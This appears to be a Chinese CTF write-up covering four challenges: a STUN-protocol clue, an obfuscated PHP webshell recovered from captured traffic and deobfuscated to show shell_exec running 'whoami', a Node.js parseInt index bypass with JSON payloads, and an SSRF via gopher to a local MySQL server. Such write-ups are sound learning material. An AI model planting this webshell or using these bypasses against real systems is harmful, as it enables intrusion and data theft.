misc-tele

没写出来,贴考点吧,下次多注意一下特殊的协议。

image-20240423221453633

STUN(Session Traversal Utilities for NAT)是一种网络协议,用于在NAT(Network Address Translation,网络地址转换)后面的设备之间建立通信会话。它主要用于解决在实时通信中遇到的NAT穿越问题,比如VoIP、视频会议等应用。

STUN协议的主要功能包括:

  1. 发现公共IP地址:STUN客户端可以向STUN服务器发送请求,以发现客户端的公共IP地址和端口号。这对于P2P通信非常重要,因为它允许客户端知道其在Internet上的可访问地址。
  2. 检测NAT类型:STUN协议还可以帮助客户端识别其所在网络中的NAT类型,比如全锥形NAT、对称NAT、端口受限对称NAT等。这对于选择合适的通信策略非常重要。
  3. 解决对称NAT的问题:对称NAT会为每个不同的目标地址和端口分配不同的公共地址和端口。STUN协议通过与STUN服务器的交互,使得在同一NAT后面的两个设备可以互相发现对方的公共地址和端口,从而实现P2P通信。

虽然STUN协议可以帮助解决NAT穿越的问题,但它并不是通用的解决方案。在某些情况下,比如在存在对称NAT的网络中,STUN可能无法成功穿越NAT。在这种情况下,通常需要使用更复杂的技术,比如TURN(Traversal Using Relays around NAT)或ICE(Interactive Connectivity Establishment)。

考点:通过stun获取客户端的ip地址

misc-parser

代码混淆题,第一次见,不是很难写,就是需要耐心

题目也是给的一个流量包,先上传了一个shell再rce

1
<?php str_rot13(substr('kofvamreebe_ercbegvat', 6, 15))(E_ALL ^ E_NOTICE); $........................................ = str_rot13(substr('etsjuonfr64_qrpbqr', 5, 13))(substr('vxMDgwNjdTZWM=', 2, 12)); function xorDecrypt($....................................., $..........................) { $..................................... = str_rot13(substr('xothonfr64_qrpbqr', 4, 13))($.....................................); $.......................................... = str_rot13(substr('jtonfr64_qrpbqr', 2, 13))(''); $................................. = str_rot13(substr('efgeyra', 1, 6))($..........................); for ($............................................ = 0; $............................................ < str_rot13(substr('jtefgeyra', 3, 6))($.....................................); $............................................++) { $............................ = $..........................[$............................................ % $.................................]; $............................... = str_rot13(substr('ybeq', 1, 3))($.....................................[$............................................]) - $............................................ % 3; $............................... = ($............................... ^ str_rot13(substr('rgxamfbeq', 6, 3))($............................)) % 256; $.......................................... .= str_rot13(substr('hlvqapue', 5, 3))($...............................); } return $..........................................; } class A { public function __construct($................................, $.....................................) { $.............................. = str_rot13(substr('xjyvwrkbeQrpelcg', 6, 10))($................................, str_rot13(substr('ncchbaonfr64_qrpbqr', 6, 13))(substr('jhpmqR0ZDVEYyMDI0', 5, 12))); $................................ = str_rot13(substr('gyfjiekbeQrpelcg', 6, 10))($....................................., str_rot13(substr('ascbqonfr64_qrpbqr', 5, 13))(substr('sgxsemREFTQ1RG', 6, 8))); str_rot13(substr('hgwqkmcevag_e', 6, 7))(str_rot13(substr('kiokxonfr64_rapbqr', 5, 13))(str_rot13(substr('cfdnkbeQrpelcg', 4, 10))(str_rot13(substr('jmonfr64_rapbqr', 2, 13))(str_rot13(substr('yndhsupnyy_hfre_shap', 6, 14))($.............................., $................................)), str_rot13(substr('ukifonfr64_qrpbqr', 4, 13))(substr('hrwcuhR0VUTVlGTEFH', 6, 12))))); } } if ($_POST[str_rot13(substr('vqewegonfr64_qrpbqr', 6, 13))(substr('gucGFzcw==', 2, 8))] === str_rot13(substr('fffun1', 2, 4))($........................................)) { $......................................... = new A($_COOKIE[str_rot13(substr('wonfr64_qrpbqr', 1, 13))(substr('mugeXM=', 3, 4))], $_COOKIE[str_rot13(substr('lreuonfr64_qrpbqr', 4, 13))(substr('xfkkcWQ=', 4, 4))]); } echo str_rot13(substr('bxgonfr64_qrpbqr', 3, 13))(substr('hjnc3VjY2Vzc18x', 3, 12));

手动转换并且解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// str_rot13(substr('kofvamreebe_ercbegvat', 6, 15))(E_ALL ^ E_NOTICE);
error_reporting(E_ALL^E_NOTICE);
$a = base64_decode("MDgwNjdTZWM");
// echo str_rot13(substr('jtonfr64_qrpbqr', 2, 13));
// echo str_rot13(substr('lreuonfr64_qrpbqr', 4, 13))(substr('xfkkcWQ=', 4, 4));
function xorDecrypt($b, $c) // $cGETMYFLAG
{ $b = base64_decode($b);
$d = '';
$e = strlen($c);
for ($f = 0; $f < strlen($b); $f++)
{ $g = $c[$f % $e]; //g跟c有关,跟f是对应的
$h = ord($b[$f]) - $f % 3; //每次取的是b的顺序位,
$h = ($h ^ ord($g)) % 256;
$i= chr($h);
$d = $d.$i;
}
return $d; }
function xorEncrypt($b,$c){
$d = base64_decode($b); //d为xorDecrypt的结果,$c为GETMYFLAG
$dlen = strlen($d);
$clen = strlen($c);
$res = '';
for($q = 0;$q<=10;$q++)
{
for ($f = 0;$f <$dlen;$f++)
{
$i = ord($d[$f]);
$g = $c[$f % $clen];
$h = ($i ^ ord($g))%256;

$i = $i+ $q * 256;
$h = ($i ^ ord($g))%256;
$res[$f] = chr($h + $f % 3);

}
// echo base64_decode($res);
echo ($res);
print('\n');
}

return $res;
}
class A { public function __construct($j, $b)
{ $k = xorDecrypt($j, "GFCTF2024"); // 'eval' $j ='NC8oOCtvVUtTJA=='
echo $k; // shell_exec
$j = xorDecrypt($b, "DASCTF"); //''
echo $j; //whoami
print_r(base64_encode(xorDecrypt(base64_encode(call_user_func($k, $j)), "GETMYFLAG")));

//AwUFDgoCNzlpMhtmPz0bPCYpF3YkPms2Ey11NDZlPyVO->encode->xorEncrypt->decode
}
}
// if ('c0ba7f1fcaeb228316d7bd4c89f37b12baf7cbe8' === sha1($a))
// { $l = new A('NC8oOCtvVUtTJA==', 'Myo+Ijox'); }
new A('NC8oOCtvVUtTJA==','KDN1bjZoaw==');
// echo 'success_1';
// xorDecrypt('')
xorEncrypt('AwUFDgoCNzlpMhtmPz0bPCYpF3YkPms2Ey11NDZlPyVO','GETMYFLAG');
?>

需要注意的是,混淆的代码中往往存在一个eval或者其他命令执行的函数,不然混淆后就很难通过字符串再执行

比如在该题中就以call_user_func和shell_exec(后面传入的固定参数,在数据包中也有体现)存在

web-cool_index

nodejs代码审计题,又没写出来,唉

漏洞点可能存在的地方

1
2
3
4
5
6
7
8
package.json:
"dependencies": {
"cookie-parser": "^1.4.6",
"ejs": "^3.1.9",
"express": "^4.18.2",
"jsonwebtoken": "^9.0.2"
}
这个依赖是真有漏洞,ejs的3.1.9存在rce漏洞,而且不会修(开发者说用的人不要信任用户就行,懒得修),不过这道题貌似利用不了

也可能存在jwt伪造,不过因为不知道secret,就伪造不了了

这道题的漏洞点实际上是在index这个参数(题目都说了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
}

漏洞点在于parseInt()函数,可以使用数组或者字符串绕过

1
2
3
4
5
6
7
payload:
{
"index":"7a"
}
{
"index":[7,"7"]
}

果然如果漏洞代码怼脸上就好做,审计的时候弱比较都看不出来

web-EasySignin

类型:ssrf,虽然也没做出来,啧

登录一个普通账号之后可以抓包修改admin账号的密码(有点抽象

admin账号可以康康好看的图片(确实好康

直接解析的url,所以是ssrf,但是也有一些过滤词,试了一下gopher://127.0.0.1:3306,有延迟,应该就是打mysql,但是尝试了一下写文件,好像权限不够然后就卡这了

看了一下nowayback的wp,可以用loadfile读取,根目录的flag(好,行

Reference

1
https://mp.weixin.qq.com/s/Pv5uBU-BY5yOiZSYTzA3vQ